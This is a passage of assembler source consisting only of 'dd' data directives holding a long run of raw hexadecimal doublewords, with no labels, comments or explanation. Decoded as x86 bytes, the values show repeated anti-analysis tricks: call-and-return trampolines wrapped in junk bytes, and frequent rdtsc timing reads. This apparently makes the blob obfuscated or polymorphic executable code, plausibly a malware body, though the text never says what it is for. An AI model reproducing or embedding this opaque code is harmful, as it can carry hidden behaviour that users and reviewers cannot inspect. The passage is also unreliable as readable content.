		dd 6A05E79Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0E02FC351h, 746B8341h,	0D99D89AAh
		dd 0E905E404h, 1B2h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 61C35242h, 1DD59D8Bh,	858B05E4h, 5E79F57h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 82C35040h
		dd 0C724D0h, 18h, 8BF98B66h, 0E79F5BB5h, 1D9D8B05h, 8B05E416h
		dd 0E42A2185h, 0DF816605h, 689DD63h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 3C35343h, 71EF014Fh, 858B2902h
		dd 5E42C9Dh, 8B044689h,	0CE9FAh, 2ED70000h, 0CE700995h
		dd 0E335F5Bh, 5096DA4Eh, 10E952h, 8EE80000h, 771F67EBh
		dd 2F8D01FDh, 12AA1367h, 310F766Dh, 585AFE8Bh, 0B3525050h
		dd 5A310F0Dh, 81669658h, 0FB99DDFh, 0B5FFDFB7h,	5E79F57h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 7DC35040h
		dd 35693DB0h, 2319BD8Bh, 4E805E4h, 0FF000000h, 60001F03h
		dd 0C9FCC4BAh, 76B96657h, 665061E1h, 448BDE8Bh,	0D6B70424h
		dd 5250008Bh, 310FF98Bh, 0E9616060h, 7,	339B9BC3h, 619E4E8Ah
		dd 4489585Ah, 0AE80424h, 77000000h, 0D8EB2943h,	2B9D2798h
		dd 11E9D1h, 93F10000h, 19EB38C2h, 765565E4h, 3097D800h
		dd 5FCA9AE5h, 89BD8B58h, 8D05E41Ch, 0E79F5F85h,	50DEB705h
		dd 9E9h, 0D810C000h, 0D6C40807h, 4890FB4h, 0FFF98B24h
		dd 0E4015995h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0C2F1CD20h, 1EA03EDEh
		dd 6A61F5C7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 66E8C356h, 664252BBh, 991BDF81h
		dd 30FD85C7h, 305E4h, 0CE80000h, 48000000h, 0D4A6D23Fh
		dd 8A7923C2h, 5662C5CCh, 0D219D89h, 5F5F05E4h, 9F5FBD83h
		dd 0F0005E7h, 3484h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 9D8BCE51h, 5E410C9h, 1BEDBD8Bh
		dd 21E905E4h, 8B000000h, 0E40109BDh, 0C305005h,	11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0A6C35343h,	0E1C4E928h, 8D89097Dh
		dd 5E43189h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	12C35545h, 83909296h, 0E430FDBDh, 850F0305h, 516h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 30C35242h
		dd 71E2F6D9h, 0D88B663Fh, 9F5FBD83h, 0F0005E7h,	4E584h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0F61C565h, 68Eh,	7D858900h, 0FF05E402h
		dd 0E79F5FB5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 8B880C82h, 0E41165BDh
		dd 0E1BD0B05h, 0FF05E417h, 0E41C1595h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 0D1840DEh, 0CE80Fh, 56560000h, 61552E97h, 0B73BD212h
		dd 895043B1h, 0E4196985h, 8B5F5B05h, 0E79F53B5h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 5DBC7121h, 13E9C88Ah, 0CD000000h, 16C959CFh,	2FA86AE9h
		dd 0A8931748h, 847119BEh, 0BF668C96h, 6C7BE98h,	10001h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0A0C35343h
		dd 96FABF0Fh, 0DA8B5250h, 585A310Fh, 10E850h, 0DEE80000h
		dd 7F712244h, 535E4FBAh, 0D58CF388h, 5250BA98h,	39B43BFh
		dd 0BB310F1Bh, 41695A38h, 965B585Ah, 0FFD9D8Bh,	0B5FF05E4h
		dd 5E79F5Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	36C35141h, 260EBB6Ch, 0E91297AAh, 11h, 0C28D120Ah
		dd 0B38F3662h, 4E134B0Ch, 742BEA45h, 2D95FFEAh,	0F805E417h
		dd 9F53B58Bh, 0E95605E7h, 8, 52109AEBh,	2E2F5EF3h, 1D858B5Bh
		dd 8905E41Dh, 0C486h, 66F88B00h, 958BF98Bh, 5E41095h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 39C35646h, 1665C31h
		dd 0E432C985h, 4C28305h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 0A0C35646h, 9589C064h, 5E42355h, 6A205089h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0E90FC356h, 0Fh, 8239F28Ch, 943AA8EFh, 871C084Fh
		dd 0FE00A8Ah, 0C8Eh, 6870F00h, 8B000000h, 0E41C199Dh, 84858D05h
		dd 0B05E7B3h, 0E417F9BDh, 0B8868905h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 7665C353h, 5A28A190h, 0BD09FCA7h, 5E41999h, 8BF5006Ah
		dd 5FB5FFD9h, 6A05E79Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0E03DC352h,	7E9h, 7E247E00h
		dd 0E3224E06h, 104595FFh, 6A05E4h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0EE4B19C3h, 820Fh, 0E8960000h
		dd 0Bh,	0AB17D02Bh, 3384FCD1h, 8BD3DF9Dh, 8B505FDFh, 8D8996D9h
		dd 5E41311h, 9F5FB5FFh,	6A05E7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 915B38C3h, 0A405A0EBh
		dd 0BD8B042Eh, 5E424B9h, 136595FFh, 6A05E4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0FC08AFC3h
		dd 0F7A61EDh, 0BD83D9BFh, 5E408F9h, 93840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 7019C356h, 6050DE8Bh, 0DF8B5250h,	5250310Fh
		dd 585A310Fh, 890F585Ah, 17h, 12E9h, 0F8E9E400h, 3F97FD85h
		dd 3265AB2Bh, 0B08EDF22h, 61ACABA4h, 6A243489h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 7AD3C352h, 0CE9CCE4h, 9D000000h, 1A49445Bh, 0F1BF5FF7h
		dd 53FF123Ch, 8E8h, 5BEFC00h, 4EAC0232h, 0DEBF0F68h, 0B5FF5B5Bh
		dd 5E79F5Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0F8C35040h, 0FEBF0F33h,	29C595FFh, 6A05E4h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 3D5CD6C3h, 9F5FB5FFh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0DA42A3C3h, 4CBA2A78h
		dd 7195FF4Bh, 6605E419h, 0BD83D88Bh, 5E43125h, 5F840F02h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 67A9C352h, 90E018BDh, 6666A36Bh
		dd 858BDA8Bh, 5E41191h,	176DBD89h, 0C605E4h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0D1102FA0h, 0E5E8D85Bh, 3F5B589h, 85C705E4h,	5E419E5h
		dd 0
		dd 1C9D9D0Bh, 35E905E4h, 89FFFFF2h, 0E42BA9B5h,	699D8B05h
		dd 8B05E422h, 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0FB8B66C1h, 19D5858Dh, 6A05E4h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 46DB38C3h, 0BD03E068h, 5E41A11h, 8C0F6090h, 6, 310F5250h
		dd 0F78A585Ah, 0DE95061h, 0B000000h, 0CA18A786h, 9EDD515Ch
		dd 534D8508h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 6897104h,	4D8529D7h, 8B05E417h, 0E414FDBDh
		dd 0E8006A05h, 14h, 0BD93F15h, 0D69345C1h, 18418779h, 0AF71F254h
		dd 31A09748h, 6A5FDF8Bh, 0C1BB6600h, 25858D65h,	6005E8A9h
		dd 4ADBD89h, 0CF8B05E4h, 5C08361h, 7898501h, 0CF8105E4h
		dd 1350B61Ah, 0B3525090h, 0E9310F7Dh, 13h, 97F83BEDh, 396F7050h
		dd 842759E5h, 0C6C249FCh, 5A52F8D0h, 3FB75058h,	56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 6EB63291h, 66513C5Eh, 6AB9EBBFh, 0C3BB6600h,	6A006A51h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 25B7C352h, 80E6BB66h, 21A195FFh, 6A05E4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 10E825C3h, 40000000h, 47B0E79Fh, 565B97F9h, 9C471DC2h
		dd 0E95893C7h, 9, 1E84B9EDh, 8004643h, 0B5895FC7h, 5E4087Dh
		dd 9E7F8D8Dh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 34AD49C3h, 7D47248Dh, 1870F9Fh
		dd 0F8000000h, 6AD1FFh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 90F23C3h, 9237AD0Ah, 10E9h, 71F63600h
		dd 2531C0EBh, 1FD00377h, 171AE926h, 0A5952935h,	105E41Ch
		dd 0E4321195h, 95BD8305h, 105E429h, 0A8850Fh, 0BB660000h
		dd 8166015Dh, 6A8CBACBh, 23B96002h, 8051E8D4h, 9061D8C4h
		dd 0BE9h, 7E96D600h, 824C6380h,	8758E984h, 513BBF50h, 6A9052C4h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0E647C356h, 0EB81A45Eh, 2C17C731h, 58D0Fh
		dd 0BDBF0000h, 0FF25762Fh, 0E4104595h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 9606167Ch, 91287E6Eh, 850F60BAh, 3, 0E9F4F080h, 11h
		dd 35C8B439h, 1CE2636Eh, 0D6A31B61h, 7AF03309h,	6FE96163h
		dd 0E800000Eh, 0
		dd 2FED815Dh, 6A05E8A9h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0EFF7C353h,	8A17B017h
		dd 0F9BF0FDAh, 8168858Dh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0C3C74CC3h, 11E950h
		dd 0CEA70000h, 12FD0EA0h, 0C902B56h, 2E48D0B6h,	89882EA0h
		dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 64AF48C3h, 35FFh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0E39B2BC3h
		dd 2589646Fh, 0
		dd 0FFFB8B66h, 0E4142D85h, 0DF8B6605h, 6AFF6Ah,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 5F6BBCC3h, 0BFC36983h, 138D8018h, 1001B5FFh,	6A05E4h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 90C9FBC3h, 2DB3581Ah, 8113DB80h, 0AAD650DBh,	0AD95FF31h
		dd 0E905E42Dh, 125h, 2CD1BD89h,	8FB705E4h, 0E6F900B0h
		dd 0E495B370h, 419D2971h, 3C05E41Dh, 6830F61h, 8B000001h
		dd 0E42069BDh, 0C8B60F05h, 95958960h, 0F05E40Fh, 382h
		dd 0FBBF0F00h, 0F98D8961h, 0BA05E41Bh, 6, 115D9D8Bh, 800F05E4h
		dd 6, 1819B589h, 0C18B05E4h, 13E9h, 0F977EB00h,	7467BAE7h
		dd 318117F6h, 1960C0B4h, 0B9BA7973h, 0E904E8C1h, 13h, 15CF39A9h
		dd 81DA85EFh, 6D89F61Eh, 38F79D9Bh, 66D62EC6h, 0FD8AE2F7h
		dd 6E8C82Bh, 0EB000000h, 7A079A60h, 0EF8166A0h,	0FC5F8600h
		dd 0EE8D18Bh, 3000000h,	2FDED5A2h, 0C21F4CAEh, 0FBFBDCCh
		dd 0BD8B5275h, 5E42035h, 5EE95F5Bh, 0F000000h, 858BD9B7h
		dd 8, 0E920C381h, 0C08322F2h, 9DBD8907h, 8305E407h, 0F38000C0h
		dd 0FD03BBEh, 0F83h, 0FEF8100h,	0E95EFC94h, 2Dh, 9A54BF66h
		dd 0FFFF8D8Bh, 0D88BFFFFh, 0F01E183h, 1884h, 4D9D8900h
		dd 8305E407h, 0FFFFFFA5h, 9589FEFFh, 8,	0E9h, 0DFB58D00h
		dd 6A05E82Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0AC40C355h, 7FA13104h,	0E9B8EE6Ah
		dd 13h,	0B54AD9CCh, 0A2C24DBAh,	0ADFC485Eh, 2E737809h
		dd 6ACFF399h, 0DE8B6600h, 10C195FFh, 6A05E4h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0C34DF5C3h
		dd 1BA4E0ECh, 0B9F38944h, 0F03h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0A5C35545h,	4B028BB5h, 83ED53F9h
		dd 6AFCFCE1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0BB56C356h, 0D7FCCA38h, 9ED296Dh
		dd 0E427DD85h, 0B805h, 9D890000h, 5E423E9h, 0BAh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 2980847Bh, 8D29727Ah, 5E42E75h, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 8D896060h, 5E431F1h, 759589h, 0E86105E4h
		dd 5, 0BA69B8FEh, 0E1816689h, 615879ABh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 0C6C35646h, 50C613A3h
		dd 25119589h, 0D5B05E4h, 88h, 2D8DBD23h, 958B05E4h, 5E41095h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 48C35141h
		dd 18C0Fh, 8BFC0000h, 0E42C658Dh, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 75BD8BC7h
		dd 5005E414h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0FE1D63DFh, 8B57C193h, 0E4124DBDh, 0BB665B05h
		dd 83F969E7h, 0E42135BDh, 840F0005h, 99h, 2715BD8Bh, 0B805E4h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 2BD1C355h, 0E4216D9Dh,	15820F05h
		dd 0E9000000h, 10h, 0FBACA562h,	5DCDD457h, 0F320EB11h
		dd 3A5FCCA4h, 4C308D8Dh, 6A05E4h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 42E470C3h, 29A2D8C5h
		dd 0E4299195h, 6AE1FF05h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 8BE7C355h, 0E41D6D9Dh
		dd 0FDBD8305h, 5E430h, 49F840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 8F0F99C3h
		dd 6, 51BD8Bh, 0BD8305E4h, 5E430FDh, 85840F01h,	6A000004h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 7EE5C350h, 837382D5h, 0E430FDBDh,	860F0305h
		dd 422h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Bh,	2BC35141h, 9EF1B1B5h, 0E9E0DF74h, 0Ch, 95675126h
		dd 9E64818h, 0F717BCA3h, 0AE8h,	26BFDE00h, 0D883D89h, 8BC9267Fh
		dd 6A605BFBh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 53E0C355h, 0B70FD2AAh,	0E59D89FFh
		dd 0F505E408h, 8BD98C66h, 0E42C7DBDh, 4E18005h,	6830Fh
		dd 85890000h, 5E4165Dh,	840FC90Ah, 113h, 16299D8Bh, 858B05E4h
		dd 5E42C9Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	26C35747h, 0CB6A0A6h, 75FB9A9Ch, 231D9D89h, 853305E4h
		dd 5E42099h, 68D0Fh, 95890000h,	5E43261h, 50FA8B90h, 14A0BB66h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0C6FF9689h, 0D2F4E2CBh, 9D89006Ah, 5E43269h
		dd 99A17068h, 8E859h, 0AD830000h, 2578BB96h, 8A50B818h
		dd 815B5FFEh, 0A28F2434h, 6A5986h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 371B55C3h, 0BD8B0DC0h
		dd 5E40861h, 15995FFh, 8D0905E4h, 5E41CDDh, 7E9h, 0A3E56B00h
		dd 0E0C46238h, 9F5F8589h, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 6857FFC3h, 66A8D81Bh
		dd 500CF81h, 1E2E9h, 4870F00h, 57000000h, 8B5B1AB3h, 0E79F5785h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 17AE88C8h, 0B840Fh, 810F0000h, 5, 460BE3BBh
		dd 9793BF00h, 0C72B87h,	18h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0D5C35141h,	76430E8Eh, 0B58BD88Bh
		dd 5E79F5Bh, 9E850h, 0F6290000h, 346BC3B2h, 0FCD2CD33h
		dd 858B5F5Bh, 5E42A21h,	0D999D8Bh, 68905E4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 2EC35545h, 26C9BD03h
		dd 9D8B05E4h, 5E42D91h,	2C9D858Bh, 0BE805E4h, 6A000000h
		dd 0C65F885Fh, 0DD5CF6ABh, 0B70F39BBh, 46895FD9h, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 8DE13461h, 6860Fh, 0BD8B0000h, 5E432C5h, 17B16096h
		dd 61F28B66h, 0CA36BF50h, 6A965608h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 66ACC356h
		dd 0EE9DE8Bh, 40000000h, 0FEC604Dh, 6EA7ECD8h, 0F33C607Dh
		dd 57B5FF80h, 6A05E79Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0B361C352h,	0F88B66BEh
		dd 0F068D98Bh, 0FD93DFCh, 480h,	8CBB6600h, 2404813Ah, 26E1070Fh
		dd 3850Fh, 0D7800000h, 5F858D07h, 6A05E79Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0A821C352h, 53CBDD2Ch, 0E9A964E7h, 10h, 51F274D3h, 0F241A19Bh
		dd 740EF95Ch, 0B8CFA6CFh, 0A0BF6690h
		dd 51B350D4h, 0FFD88B90h, 0E4015995h, 5DBD8905h, 6105E411h
		dd 0C8DBD8Bh, 85C705E4h, 5E430FDh, 3, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0B3C35242h,	0DFD4D92Eh, 0ED3C3A80h
		dd 51BD0BA1h, 0F05E422h, 688h, 0E9BD8B00h, 8305E40Fh, 0E79F5FBDh
		dd 840F0005h, 52h, 23699501h, 62E905E4h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0E920C355h, 10E8CB8Ch, 0F3000000h, 0E89AD391h, 0D95B4097h
		dd 0E56423FFh, 0FE86986h, 682h,	95BD8B00h, 5B05E425h, 768E781h
		dd 30503830h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 68B0FC0h,	81000000h, 25BC6DCFh, 0BD83F526h
		dd 5E430FDh, 41850F03h,	1000004h, 0E4117585h, 5FBD8305h
		dd 5E79Fh, 42E840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0FBBDF0C3h, 9F5FB5FFh
		dd 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 2B9885C3h, 0E400119Dh, 1595FF05h,	8B05E41Ch
		dd 53B58BD8h, 6A05E79Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0F725C356h,	7D3B9050h
		dd 0F881ACEBh, 0E9E9E780h, 12h,	3C49CECEh, 0C514020Ah
		dd 56ABE67Ah, 5499C952h, 6C7DDCDh, 10001h, 50DC8AF8h, 0DE9h
		dd 801CF300h, 7AE73951h, 0DA2C0F80h, 348979C2h,	53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0E8526BD1h, 13h, 3611CE06h, 0F71ED07Ch, 0A52C5003h
		dd 4688D076h, 3272A4Fh,	0E42CF19Dh, 0BD8B5B05h,	5E41775h
		dd 9F5FB5FFh, 0E95005E7h, 6, 310BE929h,	0FF5B661Eh, 0E4172D95h
		dd 0C1BD8B05h, 8B05E42Dh, 0E79F53B5h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0B85E928Ch, 58F0F49h, 0BF000000h, 5FBB9DFBh,	1D1D858Bh
		dd 6A05E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 8B181EC3h, 30907F67h, 0C4868904h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8144C351h, 5BAB4FD7h, 95958B74h, 6A05E410h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0D64FC351h, 6820F1Dh, 9000000h, 0E4260195h
		dd 4C28305h, 6A205089h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 284FC352h, 0CDBD8BC8h
		dd 8105E40Fh, 0E23189EFh, 84858D57h, 8B05E7B3h,	0E41755BDh
		dd 0B8868905h, 0BB000000h, 1A838AC0h, 8B66006Ah, 0CBB66D8h
		dd 5FB5FFAEh, 8B05E79Fh, 4595FFD9h, 6A05E410h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0A1B7C351h, 0DE9h, 2FF44500h, 863B23E4h, 5F6EB957h
		dd 5250326Ch, 7148D2BBh, 34895F12h, 1BD8B24h, 0FF05E41Eh
		dd 0E79F5FB5h, 0DD852905h, 0FF05E413h, 0E4136595h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0BD0BC012h, 5E41A45h, 8F9BD83h, 0F0005E4h, 4684h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0D04B5BDAh, 76BB95F7h, 504B3FB8h, 11E9h, 445A5F00h
		dd 0EF287C6Eh, 0E9A8541Eh, 0EC70B744h, 34895CFFh, 0CD8D8924h
		dd 0FF05E426h, 0E79F5FB5h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0C6AD3314h
		dd 0D51B4309h, 0D381661Dh, 860F9A55h, 3, 0FFDF8B66h, 0E429C595h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 342E5424h, 0FD0CA34h, 0B5FFDBB7h, 5E79F5Fh
		dd 418FCF81h, 0BCBB72B2h, 0FF6665C0h, 0E4197195h, 8315B305h
		dd 0E43125BDh, 840F0205h, 92h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0BCC35545h,	0C484AFBDh, 51FEB712h
		dd 0FE9h, 0A8D2A100h, 1D149AA7h, 1F2D54B9h, 0AA6880BDh
		dd 0DA8B665Bh, 1A69BD89h, 858B05E4h, 5E41191h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0FCC35040h, 2CB086FAh
		dd 0C685h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	8C35141h, 91805CCBh, 8799D8Bh, 85C705E4h, 5E419E5h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 68C35646h
		dd 0FFF29FE9h, 55006AFFh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0CCC2327h, 0B589FCB2h
		dd 5E42539h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0F59F1EC3h, 858D4DE5h, 5E419D5h
		dd 0CDEE46BBh, 0FE8B901Fh, 0C68A6050h, 10E8h, 8CC48E00h
		dd 0C304D654h, 0FE7ECC95h, 0D0BEA18Eh, 14E880h,	13E30000h
		dd 87B5C906h, 31AD340Dh, 0DE40F4E8h, 86993B2Ch,	5F593195h
		dd 6A9061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 17D451C3h, 0F585C07Fh, 0B5BB66D3h, 81006A6Dh
		dd 0FBE5D4EBh, 6A006A60h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 155FC353h, 7E957h
		dd 8C2A0000h, 8071DD42h, 85895F9Ch, 5E40425h, 0B9F7858Dh
		dd 12E905E8h, 27000000h, 0C6FCCB68h, 1AF848FAh,	0D4A2D0B0h
		dd 0E669CC6Eh, 5C083D8h, 7D9B589h, 0E89005E4h, 5, 0D61AEE9Ch
		dd 2820F32h, 50000000h,	90505B5Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0DEC35343h,	9D0B3B2Ch, 5E40D51h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0F2963C3h, 683h, 998D3100h, 6A05E42Ch, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 89521A62h, 0E4271595h, 0A195FF05h, 6A05E421h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 49A7C351h, 2DFE8FCBh, 0D09C22F1h, 1DD19D8Bh,	8D8D05E4h
		dd 5E79E7Fh, 5890Fh, 0FDBB0000h, 0FF19B1D3h, 52006AD1h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 8949E80Ch, 0E428DDB5h, 95BD8305h, 105E429h, 92850Fh
		dd 8B660000h, 1DB529F8h, 6A05E40Dh, 50006A02h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8166A460h
		dd 50BE26CBh, 489CAB7h,	51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0D21B6AFAh, 0C2F2978Ah
		dd 8D8957A1h, 5E41815h,	4595FF5Fh, 6A05E410h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0C0FAC352h, 9C74C576h, 0F678062h, 9D89DBB7h,	5E4135Dh
		dd 0D08E9h, 0E800h, 815D0000h, 0E8BA01EDh, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0FD858905h, 0E905E414h, 0Eh,	3E34FF5h, 295B701Ch, 0FBF2E6B3h
